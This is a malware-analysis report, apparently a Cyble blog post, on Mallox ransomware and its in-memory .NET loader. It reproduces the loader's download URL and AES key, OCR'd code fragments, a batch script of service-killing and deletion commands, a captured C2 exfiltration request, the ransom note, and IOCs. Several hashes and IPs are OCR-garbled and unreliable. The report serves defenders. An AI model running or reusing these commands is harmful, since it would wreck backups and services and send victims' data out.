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Cyble Research & Intelligence Labs analyzes a surge in activity from the Mallox Ransomware group and details how

it operates in this analysis.

Ransomware potentially targeting organizations dealing in Critical Infrastructure

“TargetCompany” is a type of ransomware that was first identified in June 2021. The researchers named it
TargetCompany ransomware because it adds the targeted company name as a file extension to the encrypted files. In
September 2022, researchers identified a TargetCompany ransomware variant targeting Microsoft SQL servers and
adding the “Fargo” extension to the encrypted files. TargetCompany ransomware is also known to add a “Mallox”

extension after encrypting the files.

Cyble Research and Intelligence Labs (CRIL) recently observed a spike in Mallox ransomware samples. The figure
below shows the statistics of Mallox Ransomware samples in the wild, indicating that the ransomware is active,

spreading rapidly, and infecting users in recent weeks.
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Figure 1 — Timeline of Samples Count Observed In The Wild

These Mallox ransomware samples are downloaded and loaded by an unknown loader. The loader further downloads

Mallox ransomware from the remote server and encrypts files in the victim’s machine. Additionally, the ransomware

group maintains a leak site with information related to the victims of the ransomware attacks. The figure below

shows the leak site of Mallox Ransomware.

Mallox Data Leaks

Figure 2 — Mallox Ransomware Leak Site

Technical Analysis

Loader analysis:

An unknown .NET-based loader downloads Mallox ransomware. Our research indicates that the loader is known to

be downloading other malware families such as Agentesla, Remcos, Snake keylogger, etc. This loader usually arrives
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via spam email with different flavors to lure the users into downloading and executing the email attachment.

The loader acts as a downloader that downloads encrypted malicious content from the remote server, decrypts it in
the loader memory, and executes it. The loader executes the malicious content in the memory without saving the
actual payload in the disk to evade anti-virus detection. The loader downloads encrypted payloads with a file

extension such as png, jpeg, or bmp.

The loader is 32-bit .Net executable file with the file name “Cqasdqtamip.exe” and sha265 as
e3a0bbd623db2b865fc3520c8d05e8b92016af2e535f0808460295cb8435836a. Additional details are shown in the

figure below.

@CYBLE@. See What Really Looked Like Across
Global | APAC | Europe | North America | META | Australia & New Zealand

Get Your Free Reports Today!

File name

C:\Users e L = »7 Cogasdgtamip.exe
File type Entry paoint Base address

PE32 0040359

e
TimeDateStamp
2022-11-29 23:52:21

Scan Endianness Mode

Detect It Easy/(DiE) LE 32

protector Smart Assermnbly(-][-]

library JMET(w4.0.30319)[-]

linker Microsoft Linker(8.0)[GUI3Z,admin]

Figure 3 — File Details of Mallox Loader

Upon execution, the loader downloads the encrypted malicious content from the URL
hxxp://80[.]66[.]75[.]98/Chseiyk.jpeg.

The figure below shows the hardcoded URL and code to download the file.
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string_ @)

(string @);

Figure 4 — Malicious URL and Code to Download the Encrypted Payload

After downloading, the loader keeps the encrypted content in the memory to decrypt it. The malicious content is
encrypted with the AES encryption algorithm using the key “Cwgoawrnxz”, which is hardcoded in the loader’s

binary.

The figure below shows the encrypted payload in the memory and decryption key.
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= new CryptoStream(;

Figure 5 — Loader Code to Decrypt the Malicious Content

The loader now decrypts the payload to get the actual ransomware binary in the memory and further executes this
binary to perform ransomware activities. The below Figure shows the Decrypted ransomware DLL file in the

memory.

result = m

((IDispasable)rijndaelianaged). Dispese()

Figure 6 — Routine to Decrypt Downloaded Payload

Mallox Ransomware Payload Analysis:

The downloaded and decrypted file is a 32-bit .NET-based DLL with the name “Wwxjdcapjnmuq.dll” and sha256 as
b64606198c158f79287b215343d286adf959e89acb0548f3db706f3c06f48aa.

The following figure shows additional details.
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File name
C:\Users\m

File type Entry point

Resources
TimeDa m SizeOfImage
2022-11-10 18:12:33 00230000
Endianness Mode

Detect It Easy(DiE) LE

library MET(w40 9)[-]
linker Microsoft Linker(6.0)[DLL32]

Options

[l Deep scan About

= Log 740 msec Exit

Figure 7 — Details of Malicious DLL Payload

The DLL file is further obfuscated with an IntelliLock obfuscator to make malware reversal more difficult. The

loader now loads the decrypted ransomware DLL as assembly using the Assembly.Load() function.

After loading DLL, the loader enumerates methods from the DLL file and creates a list of method names and objects
from the loaded assembly. The loader now creates a thread pool of the methods for executing the ransomware code.
The figure below shows the code to load the DLL as assembly, creating the list of methods and thread pool for

executing the ransomware code.
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>|3)

ly assembly = Assembly. {Classl.
Gty

List{Type> list = assembly.GetTypes().
Ist.Count »

(Type type_ list)

ack callBack = WaitCallback( Class2.Class3

(callBack);

Value

Count = 0x00000D6A

{Mame = "\wlD0Z" FullMame = ™

{Name = "ceblet1KWUtg2MNrmfc WD002+ceblet 1 KWLUHg2Nrnfc"}
{Mame = "\w0003" FullName = ™ D ]

{Name = "\l FullMame = ™
{Mame = "\wiD0&" FullMame = ™
{Mame = "\b" FullMame = "

{Name = w0002 " FullName = "™

Figure 8 — Code to Dynamically Load the Methods from the Ransomware

After creating the thread pool, the loader then uses the InvokeMember() function to execute the threads for a list of
previously created methods. The following figure shows the code to execute threads for the methods created from the

loaded assembly.

object_@)

[l Type)object_eff. InvokeMember (" Iwcsxatuyjnzwaealhskfaux”, BindingFlags.InvokeMethod, null, null, null);

object_@)

Value Type
{Name = "ceblet1KWUtg2Nmfc" FullName = "\w0002+ celet1KWUtg2Nrnfc"} System.RuntimeType
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Figure 9 — Code to Execute the Methods for Ransomware Operation

After execution, the ransomware drops a batch file “Axfiysgodhtrlgmrgpchkiller.bat” into the temp folder and
executes it. This batch file stops numerous services and programs so that associated files are encrypted without any

interruption during the encryption process.

The following figure shows the contents of the batch file.

[ Ci\Users’ s s Appata Local Tempi A fiysgadhtigmrgpchkiller bat - Notepad++
File Edit Search Yiew Encoding Language Settings Tools Macre Bun PBluging Window I
sdHE R s umboe|nte| a3

- -

142836,
34 start "crasher”

as83
‘eolor b & net stop "SOLSERVERAGENT™ & net stop "SOL " & net atop ™ Y™ & met stop "HaltaServerl30™ & met stop "SSISTELEMETRYIIO™ & nec stop "SQLWricte”

)

37 start "crasher® cmd & sc config MSSQLSERVER start=disabled & sc config "SQL Server (MSSQLSERVER)® start=disabled & net stop MSSQL{ & sc config MSSQLS start=disabled & net stop S
38 start "crashez® cad L taskkili JF /1M Ve D — rvice.exe & taskkill /F /IM Veeam.Backup.BrokerService.exe & taskkill /F /IM Veeam.Backup.CatalogDataServi
40 start “crasher” cad & net stop "MSOLAPSSHOPCONTROLS™ & met stop "MSSQLESMOFCONTROLS® & met stop "MSSQLFDLauncheriSHOPCONTROLS® & net stop *ReportServerfSHOPCONTROLS® & net stop °
start “crasher” cmd & @caskkill /I TomcatTw.exe /F & Braskkill /IM "UFSoft.US.0C,QuartzScheduler.exe™ /F & @caskkill /IM UFSoft,US,OC.QuarczScheduler.exe /F & @vaskkill /IH Laun
43 start "crasher® cma 4 #taskkill /IM DDSoftPusTomcat®.ene /F & @taskkill /IM USSmarcClient.exe /F & Scaskkill /IM USSRAXTCLLERCMORATOE.exe /F & Staskkill /IM tomcats.exe /F & ftas
start cmd & @sc delete “XT800Service Personal® & @sc delete SQLSERVERAGINT & @sc delete SQLWriter & @sc delete SQLBrowser & §sc delete MSSQLFDLauncher & @sc delete MSS(
start "crasher® cma & @3c delete "DAService TCF= & @ac delete "eCard-TT: - & @3c delete eCax vice & @sc delete EnergyDacaService & fac deleve DI0Decect & @sc delete
start "crasher® cmd & @sc delete D:ucLzD:AD:llu homelClrAgent & Bac delete CracleOraDbllg_homelTNSListener & @sc delete OracleVasWriterORCL & @ac delete OracleServiceORCL & Bsc ¢
start "crashez® cmd /c "color b & @ac delete "UNS LoPriv Services® & f@sc delete ftalsvd & Bac delete Ftmlsesd & Bac delete FxService & @ac delete "UtilDev Web Sexver Pro® & @ac delete fruskz
start "crasher® cmd /c "@cslor b & sc delece HSCRMAsyncService & sc delete REPLICA & @ac deleve RTCATS & @sc deleve RICAVMCU & 8sc delete RucOms & Psc delece RTCMEETINGMCU & Bsc delete RICI
STArt "crasher® cma & @rtaskkill /IM ReportingServicesService.axs /F & @sc delete "SOL Server Reporting Services™ & @sc deleve MSSOLFDLauncher & @taskkill /IM USCESarver.exs /F &
start "stopper= cmd & @net scop USWorkerServ. & Bnet stop USWorkerService & top "memcached Sexver® & fmec stop Apachel.d & @net atop UFIDAWebService & Snec atop uscong
start *stopper® cmd & @net stop HeoZipSve & Gnet stop "iGfxCUIService2.0.0.0* & Bnet stop RealtekilnSU & Bnet stop xenlite & Gnet stop Xendvc & @net stop Apachel.l & B
atart "scopper® cmd & finet stop UIDetect & top VMwazeHicatd & Bnet stop TeamViewess & @net stop ce & Bnes atop ce & @nec atcp waniso-men
start "killer® omd /¢ "color & & taskkill /IN sqlaervr.exs /F & fcaskkill /TH hrepd.exe /F & Otaskkill /IM java.exe /F & Sraskkill /IM fdnost.exe /F & Oraskkill /IN fdlauncher.exe /F ¢ fras
56  start "killer® cmd /c "color = & @taskkill /IM ThunderPlatform.exe /F L Braskkill /IM iexplore.exe /F & Btaskkill /IM vm-agent.exe /F [ @taskiill /IM vm-sgent-dasmon.exe /F £ Braskkill /IM e
57 start "killer® cmd Jo "oolor & & Graskkill JIM pg ctl.exe /F & @vaserill /IM rerelay.sxe /F & @vaskrill /IM SogoulmeBroker.exe /F & @raskkill /IM CCenter.sxe /F & @raskkill /IM Scanfrm.axe /
5 start "killer® cmd fc “color e & §raskkill /IM BackupExec.exe /F & fraskiill /IM Art.exe /F & k11l /IM mom.exe /F & §raskkill /IM BackupExecManagementService.exe /F & §raskrill /IM beng
start "killex” cmd /c "color e & Sraskkill /IM VBoxSDS.exe /F & @taskkill /IM mysqld.exe /F & @raskkill /IM TeamViewer_Service.exe /F & Staskkill /IN TeasViewer.exe /F & Braskkill /IN Caslic

echo 1

*d /= /q "Ci\PBrogzam Files (x86)\Kingdee\EIPRE\R¥Expresa\KDHRREF\clieat\log”
vd /3 /q "Ci\Program Files\Kingdee\H3IERP\RIExpress\logs™

Figure 10 — Contents of the Batch File

Interestingly, the ransomware also stops GPS-related programs, indicating that the ransomware could be targeting

organizations dealing in the critical infrastructure sector.

The figure below shows the commands to stop running GPS-related programs.

@sc delete wampapache § @sc delete MSSEARCH & @sc delete msfresgl & @sc delete "SyncBASE Service" & @sc delete OracleDBConcoleorcl
& Bsc delete OracledobSchedulerCRCL & @sc delete OracleMISRecoveryService"
start "crasher" cmd /c "color b & @sc deleste OracleOraDbllg_homelClrAgent & @sc delete OracleOraDbllg_homelTNSListener & Esc
delete OracleVssWriterORCL & @sc delere OracleServiceORCL & @sc delete aspnet_state @sc delete Redis & @sc delete
OracleVssWriterORCL & @sc delete JnTask & @sc delete ImeDictUpdateService & @sc delete XT800Service_Personal & @sc delete
MC5ervice & @sc delete ImeDictUpdateService & @sc delete allpass_redisservice_port2lléld & @ac cielete "Flash Helper Service" & @sc
delece "Kiwi Syslog Server™ & @sc delece "UWS HiPriv Services" & net stop MSSQLS SFE_EXPRESS"
start "crasher” cmd /c "color b & @ac delete "UWS LoPriv Services™ & @ac delete ftnlav3 & @sc delete ftnlses3 & @ac delete
FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusbrdsrv & @sc delete "ZTE USBIP Client
Guard® & @sc delete "2ZTE USBIP Client™ & @sc delete "ZTE FileTranS5" & @sc delete wwbizsrv & @sc delete gemu-ga & @sc delete
AlibabaProtect & @sc delete ZTEVdservice & @sc delete kbaseszv & @sc delece MMRHookService & @sc delete OracleJobSchedulerORCL &
@sc delete IpOverUsbSvc & Bsc delete MsDtsServerlO0 & @sc delete KuaiYunTools & @sc delete EMSELDI & @sc delete btPanel & @sc
delene Pronect 2345Fxplorer & @sc delere 2345PicSve & fsc delere vmware-convercer-agent & @3c delere vmgare— J rer_server & fsc
delete vmware-converter-worker & @sc delete QQCertificateService & @sc delete OracleRemExecService & @ac delete GPSDaemon & Bac
idelete GPSUserSvr & @sc delete GPSDownSvr & @sc delete GPSStorageSvr & @sc delete GPSDataProcSvr & @sc delete GPSGatewaySvr & @sc
delet= GESMediaSvr & @sc delete GP5Login3Svr & @sc delete GESTomcaté & @sc delete GPSMysgld & @sc delete GP5Ftpd & @sc delete
Zabbix Agent" & @sc delete BackupExechgentAccelerator & Esc delete bedbg & @sc delete BackupExecDeviceMediaService & @sc delete
BackupExecRPCService & @sc delete BackupExecAgentBrowser & @sc delete BackupExecJobEngine & Esc delete BackupExe vice
& @sc delete MDM & @sc delete TxQBService & @sc delete Gailun Downloader & @sc delete RemoteRssistService & @sc delete YunService &
@sc delete Serv-U & @sc delete "FasyFZS Server" & @sc delete "Rpc Monitor™ & @sc delete OpenFastAssist & @sc delete "Nuo Update
Monitor™ & @sc delete "Daemon Service" & @sc delete asComSvc & @sc delete OfficeUpdateService & @sc delete RtcSrv & @sc delete
RTCASMCU & @sc delete FTA & @sc delete MASTER & @sc delete NschuthService & @sc delete MSCRMUnzipService & Esc delete
MSCRMAsyncServicefmaintenance™
start "crasher" cmd /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RICATS & @sc delete RTCAVMCU &
@sc delete RtcOms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDATAMCU & @sc delete RTCCDR & @sc delete
ProjectFventServicelé & Bsc delete ProjectQueueServicelé & Bsc delete SPAdminV4 & @sc delete SPSearchHostController & @sc delete
SPTimerV4 & @sc delete SPTraceV4 & @sc delete OSearchlé & @sc delete ProjectCalcServicelé & @sc delete c2wts & @sc delete

Figure 11 — Batch File Containing GPS-Related Program

The ransomware disables several services and stops running programs in the system. Some important services and

programs are:

¢ Database Related Services: MSSQL, MSSQL Server, PostgreSQL, Oracle, etc.
e Backup Related Services: VSS, Veeam, etc.
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¢ Windows Related Programs: OneDrive, Excel, Outlook, WinWord, etc.

e File Sharing and Servers Related programs: FileZilla FTP Server, Apache Tomcat Server, Microsoft
Exchange Server, OpenSSH, WAMP Server, Nginx, etc.

» Business Management Software: SAP Business One, Jenkins, Redis, SVN Server, Turbo CRM, Kingdee,
etc.

e Virtualization Programs and Services: VirtualBox, VMware. Etc.

¢ GPS Related Commands: GPSDaemon, GPSUserSvr, GPSDownSvr, GPSStorageSvr, GPSDataProcSvr,
GPSGatewaySvr, etc.

Before encrypting the files, the ransomware exfiltrates system information such as Operating system version,

Desktop name, etc., and sends it to the Command & Control (C&C) server using a POST request as shown below.

POST |/QWEwgdsvst/ap.php HTTP/1.1]

Content-Type: application/x-www-form-urlencoded
Host: 193.186.191.141

Content-Length: 168

Connection: Keep-Alive

Cache-Control: no-cache

users= &TargetID="= &SystemInformation=WindowshIRS@RIEL Al o i L ilildiwedd , ¥20Med ium¥26Access , $20DESKTOP-
B Bmax_size_of file=@.8&size_of_ hdd=SEHTTP/1.1 268 OK

Server: nginx/1.22.1

Date: am s Dec 2022 B =] GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/7.4.33

12
successfully added
5]

Figure 12 — Victim information being exfiltrated to Ransomware’s C&C

The ransomware then encrypts the files, appends “.Mallox” as a file extension, and drops a ransom note in the

folders, as shown below.

B T™isPC 5 Local Disk (C3) » Data

MName Date modified

B e o eyl
‘ “may - chm mallox
. s.mdb.mallox
™} L html

B FILERECC

Figure 13 — Encrypted Files and Ransom Note

The figure below shows the ransom note dropped on the victim system.
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FILE RECOVERY.txt - Notepad

File Edit Format View Help
Hello

Your files are encrypted and can not be used

To return your files in work condition you need decryption tool

Follow the instructions to decrypt all your data

Do not try to change or restore files yourself, this will break them

If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB

How to contact us:

The fastest way:

1) Download and install TOR browser by this link: https://www.torproject.org/download/
2) If TOR blocked in your country and you can't access to the link then use any VPN software
3) Run TOR browser and open the site: = s ] - B =" - = =" m = p=/mallox/privateSignin

UE NN hempwr _t

4) Copy your private ID in the input field. Your Private key: Ly
5) You will see payment information and we can make free test decryption here

The slowest way:
If you are unable to contact us through the site, then you can email us: mallox@stealthypost.net
Waiting for a response via mail can be several days. Do not use it if you have not tried contacting through the site.

Our blog of leaked companies:

Figure 14 — Contents of the Mallox Ransomware Note

The ransom note also contains a private chat link for the victims to connect with the Threat Actor. The Chat page

contains information such as TargetID, hard disk size, Payment Details, etc.

The TA has also provided features in their Chat page to their victims for uploading encrypted samples to test the
decryption.

W Mallox | Private Chat

&' Refresh Page

Client Information

Basic

There are no messages in the chat yet
Write the first message

Blog Link: No

Te ption: (Wasnotsant

Payment Details

Write here..

Test Decryption

Figure 15 — Victim’s chat page

Conclusion
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Over the last few days, we have observed increased levels of activity from the Mallox ransomware group. The
ransomware group is using an unknown loader which is used for downloading and executing the ransomware.
Additionally, Mallox ransomware stopped GPS-related services, indicating their targets could be organizations

dealing in Operation Technology and Critical Infrastructure.

Our Recommendations

We have listed some of the essential cybersecurity best practices that create the first line of control against attackers.

We recommend that our readers follow the best practices given below:

Safety Measures Needed to Prevent Ransomware Attacks

Conduct regular backup practices and keep those backups offline or in a separate network.

e Turn on the automatic software update feature on your computer, mobile, and other connected devices
wherever possible and pragmatic.

o Use a reputed anti-virus and Internet security software package on your connected devices, including PC,

laptop, and mobile.

Refrain from opening untrusted links and email attachments without verifying their authenticity.
Users Should Take the Following Steps After the Ransomware Attack

» Detach infected devices on the same network.
e Disconnect external storage devices if connected.

 Inspect system logs for suspicious events.
Impact And Cruciality of Ransomware

e Loss of valuable data.
e Loss of the organization’s reputation and integrity.

e Loss of the organization’s sensitive business information.

e Disruption in organization operation.

e Monetary loss.

MITRE ATT&CK® Techniques

Tactic Technique ID Technique Name
Execution T1204 User Execution
T1140 Deobfuscate/Decode Files or Information
Defense Evasion
T1562 Impair Defences
. 11082 System Information Discovery
Discovery
T1083 File and Directory Discovery
Impact T1486 Data Encrypted for Impact
Command and Control T1071 Application Layer Protocol
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Exfiltration T1020 Automated Exfiltration

Indicators

2456¢01£5348e5c08f7¢818d51862cla
625be3e4dbfb0bd35c9cda216a9bca7232dbec07
34da973f1d154672b245f7a13e6268b4ffc88dealca608206b32759ec5be040c

b739be28cb9a30868112d4786bc11d37
296e19773f6fb7190d914ac556abe0125e5d7aa5
b3ccec8ca26bc3b6597ddb0424a455eb7809e7608f5d62f6c7f5d757d4d32253

86344d7e6e5b371717313032632cbbel
3921694be80b2fd5d8007c8155bee018c32fecbb
b64606198c158f79287b215343d286adf959e89acb054{8f3db706f3c06f48aa

688e0b37794395cfecaf9cc519e3c26a
d215d4166dfa07be393459c99067319036eb80ba
77fdce66e7f909300e4493cbe7055254£7992ba65f9b7445a6755d0dbd9f80a5

6080b540d975b7a4f66cd54ee83ed600
62324b38a5a5a2533f3bd401d7afd1c6c4235b08
89c9c14af6ab4£3f93705325dbc32bde6c232d26d22e8f835db24efc18007ead

2ffae162e07ba8debdf25694e8fd8325
a1289c3e585e091a7c8f89869a76e40f7e3880fd
d691f44b587c6ed47c¢2d57b2bf99323877821a318cb0d5aa9899c40a44e81ef3

cacbed12b83529ebb99b0297d52b0749
db6d67f55bce0425baef2348e70f1478d022820e
58726aac2652bedfe47b7elc73ba39d028e2e6ad188f4ed735d614097bed4a23b

da3f02b82e982f5ce5a71d769a067f3b
el65cac5ab2b2312f7ed8569c69a75bae48b8316
7164ba41639c8edcd9ff1cf41a806c9a23de566b56a7f34a0205bal1f84575a48

38454291f7b871d71a512b5dd5100d9e
9e9c04f00822aacaal5d0bcc4749f8e6920d4550
45391bfbb06263f421ac739e1e4b438fb99a0757dcecc68de79b2dbe02c1641e

7be2a76577f6ee05ec08c77c41cd9dd4
f3cfca7a2160559aa62b4cf42cd15870ad4abcae7
87a923319c6ea74a9cef5ed7528afdbd4a05e7600ce7f4359e5990ff8769a2ff
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Indicator

Type

MD5
SHA1
SHA256

MD5
SHA1
SHA256

MD5
SHA1
SHA256

MD5
SHA1
SHA256

MD5
SHA1
SHA256

MD5
SHA1
SHA256

MD5
SHA1
SHA256

MD5
SHA1
SHA256

MD5
SHA1
SHA256

MD5
SHA1
SHA256

Description

Mallox

Loader

Chseiyk.jpeg
Encrypted
Payload

Mallox
Payload

Mallox

Loader

Mallox

Loader

Mallox

Loader

Mallox

Loader

Mallox

Loader

Mallox

Loader

Mallox

Loader


https://attack.mitre.org/techniques/T1020/

https://blog.cyble.com /2022 /12 /08 /mallox-ransomware-showing-signs-of-increased-activity/

6e542eda455e8¢8600df96874c8deceb
670530d36967¢5927955d31052dff165a187c1£2
d755cd96077cebbed84a86e69d1fd84b95e3e5763abc8ac8ec0a7f1df30e9585

hxxp://80[.]166[.]175[.]98/Chseiyk.jpeg

hxxp://193[.]106[.]1191[.]141/QWEwqdsvsf/ap.php

Source: https://blog.cyble.com/2022/12/08/mallox-ransomware-showing-signs-of-increased-activity/
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